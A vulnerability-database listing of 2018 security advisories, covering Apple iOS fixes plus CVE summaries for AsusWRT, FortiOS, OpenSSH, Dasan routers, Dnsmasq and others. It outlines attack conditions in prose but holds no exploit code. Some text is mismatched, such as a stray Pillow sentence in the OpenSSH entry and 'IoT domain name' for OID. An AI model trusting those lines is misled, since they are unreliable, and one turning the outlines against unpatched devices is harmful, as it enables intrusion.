touch 6th generation
Impact: A local user may be able to modify the state of the Keychain
Description: An authorization issue was addressed with improved state
management.
CVE-2018-4225: Abraham Masri (@cheesecakeufo)
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A local user may be able to view sensitive user information
Description: An authorization issue was addressed with improved state
management.
CVE-2018-4226: Abraham Masri (@cheesecakeufo)
Siri
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A person with physical access to an iOS device may be able to
enable Siri from the lock screen
Description: An issue existed with Siri permissions. This was
addressed with improved permission checking.
CVE-2018-4238: Baljinder Singh, Muhammad khizer javed, Onur Can
BIKMAZ (@CanBkmaz) of Mustafa Kemal University
Siri
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A person with physical access to an iOS device may be able to
use Siri to read notifications of content that is set not to be
displayed at the lock screen
Description: An issue existed with Siri permissions. This was
addressed with improved permission checking.
CVE-2018-4252: Hunter Byrnes, Martin Winkelmann (@Winkelmannnn)
Siri Contacts
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An attacker with physical access to a device may be able to
see private contact information
Description: An issue existed with Siri permissions. This was
addressed with improved permission checking.
CVE-2018-4244: an anonymous researcher
UIKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text file may lead to a
denial of service
Description: A validation issue existed in the handling of text. This
issue was addressed with improved validation of text.
CVE-2018-4198: Hunter Byrnes
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Visiting a malicious website may lead to address bar spoofing
Description: An inconsistent user interface issue was addressed with
improved state management.
CVE-2018-4188: YoKo Kho (@YoKoAcc) of Mitra Integrasi Informatika, PT
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4201: an anonymous researcher
CVE-2018-4218: Natalie Silvanovich of Google Project Zero
CVE-2018-4233: Samuel GroA (@5aelo) working with Trend Micro's Zero
Day Initiative
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A buffer overflow issue was addressed with improved
memory handling.
CVE-2018-4199: Alex Plaskett, Georgi Geshev, Fabi Beterke, and Nils
of MWR Labs working with Trend Micro's Zero Day Initiative
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Visiting a maliciously crafted website may lead to cookies
being overwritten
Description: A permissions issue existed in the handling of web
browser cookies. This issue was addressed with improved restrictions.
CVE-2018-4232: an anonymous researcher, Aymeric Chaib
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A race condition was addressed with improved locking.
CVE-2018-4192: Markus Gaasedelen, Nick Burnett, and Patrick Biernat
of Ret2 Systems, Inc working with Trend Micro's Zero Day Initiative
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to an
unexpected Safari crash
Description: A memory corruption issue was addressed with improved
input validation.
CVE-2018-4214: found by OSS-Fuzz
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4204: found by OSS-Fuzz, Richard Zhu (fluorescence) working
with Trend Micro's Zero Day Initiative
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A type confusion issue was addressed with improved
memory handling.
CVE-2018-4246: found by OSS-Fuzz
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Visiting a maliciously crafted website may leak sensitive
data
Description: Credentials were unexpectedly sent when fetching CSS
mask images. This was addressed by using a CORS-enabled fetch method.
CVE-2018-4190: Jun Kokatsu (@shhnjk)
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: An out-of-bounds read was addressed with improved input
validation.
CVE-2018-4222: Natalie Silvanovich of Google Project Zero
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "iOS 11.4".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEfcwwPWJ3e0Ig26mf8ecVjteJiCYFAltUshMACgkQ8ecVjteJ
iCbspA//aVxu/EdiaNxNRmRDFB8LpqKa3xjJdfkK9cJRYZ+eBHJZjBfzj4BzABuG
Xow7FkEE7LSQpCeJ08Ggo6vVQUdR4+etQ2UfjQWGX6qIvLZUXK0lw2x5XdTP0q4m
WmNoZcdK3cmbVXGMWUZRUrYPTWwMnTMsPpPoDoptaQRseN+K/0kdwsQZtdqeN9sq
GN3Qp6AW6WR1gUAgDriIyzFXTxJ8NmKx2+4B5O2w0TbmzxGa/F5ZUjw4D/wwJJPA
/RXAwseJMghPfbi9tNcjUhbGFfcnr5JvyGfY2GESFc7odWt2XSpePHr6qaJzogBr
KeJKOVpgTdS4PO37+KDUfQDIElSnYQVTff8Tinxg/Zojafp0PxYkDYRxw7i16YKU
HsB7R0o5Yi5YD4uG5ioMj4RspQDWozzveVvvtah6/bWChQQwD3XHr6JRM6oJ106G
wNx2EHfRRXFQCY680RfE8hN/98IJRrCF6nIdO9zBbzGM/Ihzr02F0qSrdB5/PXSq
S6EwJi0M5ia/KMFSO7EY5qQ2aipyDC3WPkvQrHtpsqstMrktyJOYGbm/t39WmIBb
gC92rxvNFr5mO8Owypu1/tloGr15zIxPGR6OXA/DVxdRm2/UmW1tsqQfKgporJMD
de6uiZJb8p8X36KC7YmHLTApYL3CaZebJIIOmf8tKjQUxxbR9wE=
=nII0
-----END PGP SIGNATURE-----
.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1145 | CVE-2018-4085 | plural Apple Product QuartzCore Vulnerability in arbitrary code execution in components |
CVSS V2: 6.8 CVSS V3: 8.8 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "QuartzCore" component. It allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the implementation of the QuartzCore module. The issue results from the lack of proper handling of error conditions prior to indexing into a buffer. An attacker can leverage this vulnerability to execute code under the context of the current process. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system; watchOS is a smart watch operating system. QuartzCore is one of the core drawing framework components. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201804-1142 | CVE-2018-4082 | plural Apple Vulnerability in the kernel component of a product that allows arbitrary code execution in privileged contexts |
CVSS V2: 9.3 CVSS V3: 7.8 Severity: HIGH |
An issue was discovered in certain Apple products. iOS before 11.2.5 is affected. macOS before 10.13.3 is affected. tvOS before 11.2.5 is affected. watchOS before 4.2.2 is affected. The issue involves the "Kernel" component. It allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app. Apple iOS/WatchOS/tvOS/macOS are prone to multiple security vulnerabilities.
An attacker can exploit these issues to execute arbitrary code with kernel or system privileges, gain sensitive information, bypass security restrictions and perform unauthorized actions and or cause a denial-of-service condition. Apple iOS, macOS High Sierra, tvOS, and watchOS are all products of Apple Inc. in the United States. Apple iOS is an operating system developed for mobile devices; macOS High Sierra is a dedicated operating system developed for Mac computers; tvOS is a smart TV operating system. watchOS is a smart watch operating system. The following products and versions are affected: Apple iOS prior to 11.2.5; macOS High Sierra prior to 10.13.3; watchOS prior to 4.2.2; tvOS prior to 11.2.5. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
APPLE-SA-2018-1-23-1 iOS 11.2.5
iOS 11.2.5 is now available and addresses the following:
Audio
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted audio file may lead to
arbitrary code execution
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4094: Mingi Cho, MinSik Shin, Seoyoung Kim, Yeongho Lee and
Taekyoung Kwon of the Information Security Lab, Yonsei University
Core Bluetooth
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to execute arbitrary code with
system privileges
Description: A memory corruption issue was addressed with improved
memory handling.
CVE-2018-4087: Rani Idan (@raniXCH) of Zimperium zLabs Team
CVE-2018-4095: Rani Idan (@raniXCH) of Zimperium zLabs Team
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4090: Jann Horn of Google Project Zero
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A race condition was addressed through improved locking.
CVE-2018-4092: an anonymous researcher
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A malicious application may be able to execute arbitrary code
with kernel privileges
Description: A memory corruption issue was addressed through improved
input validation.
CVE-2018-4082: Russ Cox of Google
Kernel
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: An application may be able to read restricted memory
Description: A validation issue was addressed with improved input
sanitization.
CVE-2018-4093: Jann Horn of Google Project Zero
LinkPresentation
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing a maliciously crafted text message may lead to
application denial of service
Description: A resource exhaustion issue was addressed through
improved input validation.
CVE-2018-4100: Abraham Masri (@cheesecakeufo)
QuartzCore
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: A memory corruption issue existed in the processing of
web content. This issue was addressed through improved input
validation.
CVE-2018-4085: Ret2 Systems Inc. working with Trend Micro's Zero Day
Initiative
Security
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: A certificate may have name constraints applied incorrectly
Description: A certificate evaluation issue existed in the handling
of name constraints. This issue was addressed through improved trust
evaluation of certificates.
CVE-2018-4086: Ian Haken of Netflix
WebKit
Available for: iPhone 5s and later, iPad Air and later, and iPod
touch 6th generation
Impact: Processing maliciously crafted web content may lead to
arbitrary code execution
Description: Multiple memory corruption issues were addressed with
improved memory handling.
CVE-2018-4088: Jeonghoon Shin of Theori
CVE-2018-4089: Ivan Fratric of Google Project Zero
CVE-2018-4096: found by OSS-Fuzz
Installation note:
This update is available through iTunes and Software Update on your
iOS device, and will not appear in your computer's Software Update
application, or in the Apple Downloads site. Make sure you have an
Internet connection and have installed the latest version of iTunes
from https://www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About. The version after applying this update
will be "11.2.5".
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT201222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
iQJdBAEBCgBHFiEEcuX4rtoRe4X62yWlg6PvjDRstEYFAlpng6cpHHByb2R1Y3Qt
c2VjdXJpdHktbm9yZXBseUBsaXN0cy5hcHBsZS5jb20ACgkQg6PvjDRstEbJVxAA
y2gRrvCCEzescN0fgqNk8zIGqaiFRKXYEyuaHMgXjrJIh8OlBgLb3pegU6MFfTsv
SjNLDKvPIOW/2vV8ilS6ot32DB4VTANjHKCWTs3jmJrQlWh2VZKvPnzyOiQ0zK2g
Btt4+1ZYipRuCyWkf0oatW9JHsCscVexzERyczywBdEzx1mCnCF4N3uOYU0T3Nx2
7Wz92GnvTAnJWjlCJEK1wq/YCntEFhssBVmsWQU1LVPFHoh8uPa87iE/+P1t0CY1
IQLloYmPoX9GIS/CB7XAsEsz3RquE8n/DigSvsApkrl6Judv/HgCYe5GJcwIIemi
1RyNXtj3/+CVZYSwC2Fo/CSyph1M+td79Klqy4gdCVt0KnlmwkKhSexhuQsKn68A
/WTcOK7aidcdVuQpjUJAc3pJunl0zHg5bCJRzrb2NdFEoYT0V+kxLEKGlOWRLhXv
NSn9+f7pMykSCbfo9U9HkYm68JDtN/WANMCJccF66iQYjEhg0Rgok3oKhNOhakwH
HDYunzqF2dEql4WiAKiEAHwVVQ5gJtjDWest6s6UW58fiT2fxufaJav5gczv/wmy
km/doFT9+BKmRXygwXdR6P3oRFhZmeLVvjtKpfjPzuIvHkwS7wlOw3aWnZ0rMijm
pp7WyqEojXjOxyZjTeBM3A7ssxIuO5BoLtIHgT4GSNg=
=F6+9
-----END PGP SIGNATURE-----
.
CVE-2018-4098: Siguza
Kernel
Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6
Impact: An application may be able to read kernel memory (Meltdown)
Description: Systems with microprocessors utilizing speculative
execution and indirect branch prediction may allow unauthorized
disclosure of information to an attacker with local user access via
a side-channel analysis of the data cache.
CVE-2017-5754: Jann Horn of Google Project Zero; Moritz Lipp of
Graz University of Technology; Michael Schwarz of Graz University of
Technology; Daniel Gruss of Graz University of Technology;
Thomas Prescher of Cyberus Technology GmbH; Werner Haas of Cyberus
Technology GmbH; Stefan Mangard of Graz University of Technology;
Paul Kocher; Daniel Genkin of University of Pennsylvania and
University of Maryland; Yuval Yarom of University of Adelaide and
Data61; and Mike Hamburg of Rambus (Cryptography Research Division)
Kernel
Available for: macOS High Sierra 10.13.2
Impact: An application may be able to read restricted memory
Description: A memory initialization issue was addressed through
improved memory handling.
CVE-2018-4097: Resecurity, Inc.
Alternatively, on your watch, select "My Watch > General > About"
| VAR-201801-0248 | CVE-2017-1000417 | MatrixSSL Vulnerabilities related to certificate validation |
CVSS V2: 5.0 CVSS V3: 5.3 Severity: MEDIUM |
MatrixSSL version 3.7.2 adopts a collision-prone OID comparison logic resulting in possible spoofing of OIDs (e.g. in ExtKeyUsage extension) on X.509 certificates. MatrixSSL Contains a certificate validation vulnerability.Information may be tampered with. INSIDE Secure MatrixSSL is an embedded, open source SSLv3 protocol stack designed by French INSIDE Secure company for small applications and devices.
There is a security vulnerability in INSIDE Secure MatrixSSL version 3.7.2, which originates from the program's use of conflicting IoT domain name comparison logic. An attacker could use this vulnerability to forge an IoT domain name
| VAR-201801-1394 | CVE-2018-6000 |
AsusWRT Vulnerabilities in environment settings
Related entries in the VARIoT exploits database: VAR-E-201801-0208, VAR-E-201801-0207 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
An issue was discovered in AsusWRT before 3.0.0.4.384_10007. The do_vpnupload_post function in router/httpd/web.c in vpnupload.cgi provides functionality for setting NVRAM configuration values, which allows attackers to set the admin password and launch an SSH daemon (or enable infosvr command mode), and consequently obtain remote administrative access, via a crafted request. This is available to unauthenticated attackers in conjunction with CVE-2018-5999. AsusWRT Contains a vulnerability related to configuration settings.CVE-2018-5999 Information is obtained, information is tampered with, and service operation is disrupted by exploiting it together with vulnerabilities (DoS) There is a possibility of being put into a state. ASUS AsusWRT is a router operating system developed by ASUS. There is a security vulnerability in the 'do_vpnupload_post' function of the router/httpd/web.c file in the vpnupload.cgi file in ASUS AsusWRT versions earlier than 3.0.0.4.384_10007
| VAR-201801-1393 | CVE-2018-5999 |
AsusWRT Vulnerabilities related to certificate and password management
Related entries in the VARIoT exploits database: VAR-E-201801-0208, VAR-E-201801-0207 |
CVSS V2: 10.0 CVSS V3: 9.8 Severity: CRITICAL |
An issue was discovered in AsusWRT before 3.0.0.4.384_10007. In the handle_request function in router/httpd/httpd.c, processing of POST requests continues even if authentication fails. AsusWRT Contains vulnerabilities related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. ASUS AsusWRT is a router operating system developed by ASUS. There is a security vulnerability in the 'handle_request' function of the router/httpd/httpd.c file in ASUS AsusWRT versions earlier than 3.0.0.4.384_10007. An attacker can exploit this vulnerability to execute a POST request
| VAR-201801-0107 | CVE-2017-14190 | Fortinet FortiOS Vulnerable to cross-site scripting |
CVSS V2: 4.3 CVSS V3: 6.1 Severity: MEDIUM |
A Cross-site Scripting vulnerability in Fortinet FortiOS 5.6.0 to 5.6.2, 5.4.0 to 5.4.7, 5.2 and earlier, allows attacker to inject arbitrary web script or HTML via maliciously crafted "Host" header in user HTTP requests. Fortinet FortiOS Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. FortiOS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.
The following products are affected:
FortiOS 5.6.0 through 5.6.2
FortiOS 5.4.0 through 5.4.7
FortiOS 5.2 and prior. Fortinet FortiOS is a set of security operating systems developed by Fortinet Corporation for the FortiGate network security platform. The system provides users with various security functions such as firewall, anti-virus, IPSec/SSL VPN, Web content filtering and anti-spam
| VAR-201801-0027 | CVE-2016-10708 | OpenSSH In NULL Pointer dereference vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
sshd in OpenSSH before 7.4 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an out-of-sequence NEWKEYS message, as demonstrated by Honggfuzz, related to kex.c and packet.c. Pillow is a Python-based image processing library.
There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements. OpenSSH is prone to multiple denial-of-service vulnerabilities.
An attacker can leverage these issues to crash the affected application, denying service to legitimate users.
Versions prior to OpenSSH 7.4 are vulnerable. ==========================================================================
Ubuntu Security Notice USN-3809-2
August 12, 2021
openssh regression
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 18.04 LTS
Summary:
USN-3809-1 introduced a regression in OpenSSH.
Software Description:
- openssh: secure shell (SSH) for secure access to remote machines
Details:
USN-3809-1 fixed vulnerabilities in OpenSSH. The update for CVE-2018-15473
was incomplete and could introduce a regression in certain environments.
This update fixes the problem.
We apologize for the inconvenience.
Original advisory details:
Robert Swiecki discovered that OpenSSH incorrectly handled certain messages.
This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS.
(CVE-2016-10708)
It was discovered that OpenSSH incorrectly handled certain requests.
An attacker could possibly use this issue to access sensitive information.
(CVE-2018-15473)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 18.04 LTS:
openssh-server 1:7.6p1-4ubuntu0.5
In general, a standard system update will make all the necessary changes.
References:
https://ubuntu.com/security/notices/USN-3809-2
https://ubuntu.com/security/notices/USN-3809-1
https://launchpad.net/bugs/1934501
Package Information:
https://launchpad.net/ubuntu/+source/openssh/1:7.6p1-4ubuntu0.5
| VAR-201801-0924 | CVE-2017-18046 | Dasan GPON ONT WiFi Router H640X Device buffer error vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
Buffer overflow on Dasan GPON ONT WiFi Router H640X 12.02-01121 2.77p1-1124 and 3.03p2-1146 devices allows remote attackers to execute arbitrary code via a long POST request to the login_action function in /cgi-bin/login_action.cgi (aka cgipage.cgi). Dasan GPON ONT WiFi Router H640X The device contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. DasanGPONONTWiFiRouter is a wireless router device from DASANNetworks, Korea. A buffer overflow vulnerability exists in DasanGPONONTWiFiRouterH640X12.02-0112, 2.77p1-1124, and 3.03p2-1146
| VAR-201801-1840 | No CVE | Zhejiang Dahua Network Hard Disk Video Recorder DH-NVR2104HS-S1 Has Logic Design Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Zhejiang Dahua Network Hard Disk Video Recorder DH-NVR2104HS-S1 is a network hard disk video recorder with integrated 4-way 10 / 100Mbps switch port and support 1080P HD real-time preview.
Zhejiang Dahua Network Hard Disk Video Recorder DH-NVR2104HS-S1 has a logic design vulnerability. An attacker can use a vulnerability to construct a malicious url login web interface without client authentication, and construct a url suffix to perform a blast login.
| VAR-201801-1844 | No CVE | Elevation of Privilege Vulnerability in RW-950S Camera |
CVSS V2: 5.8 CVSS V3: - Severity: MEDIUM |
Rui Wei RW-950S is a video camera.
The Ruiwei RW-950S camera has an elevation of privilege vulnerability, allowing an attacker to use the vulnerability to elevate the guest user to super administrator rights.
| VAR-201801-0885 | CVE-2017-15107 | Dnsmasq Access control vulnerability |
CVSS V2: 5.0 CVSS V3: 7.5 Severity: HIGH |
A vulnerability was found in the implementation of DNSSEC in Dnsmasq up to and including 2.78. Wildcard synthesized NSEC records could be improperly interpreted to prove the non-existence of hostnames that actually exist. Dnsmasq Contains an access control vulnerability.Information may be tampered with. Dnsmasq is prone to a security-bypass vulnerability.
Attackers can exploit this issue to bypass certain security restrictions to perform unauthorized actions. ==========================================================================
Ubuntu Security Notice USN-4924-1
April 22, 2021
dnsmasq vulnerabilities
==========================================================================
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 16.04 LTS
Summary:
Several security issues were fixed in Dnsmasq.
Software Description:
- dnsmasq: Small caching DNS proxy and DHCP/TFTP server
Details:
It was discovered that Dnsmasq incorrectly handled certain wildcard
synthesized NSEC records.
(CVE-2017-15107)
It was discovered that Dnsmasq incorrectly handled certain large DNS
packets. A remote attacker could possibly use this issue to cause Dnsmasq
to crash, resulting in a denial of service. (CVE-2019-14513)
Update instructions:
The problem can be corrected by updating your system to the following
package versions:
Ubuntu 16.04 LTS:
dnsmasq 2.75-1ubuntu0.16.04.10
dnsmasq-base 2.75-1ubuntu0.16.04.10
dnsmasq-utils 2.75-1ubuntu0.16.04.10
After a standard system update you need to reboot your computer to make all
the necessary changes.
References:
https://ubuntu.com/security/notices/USN-4924-1
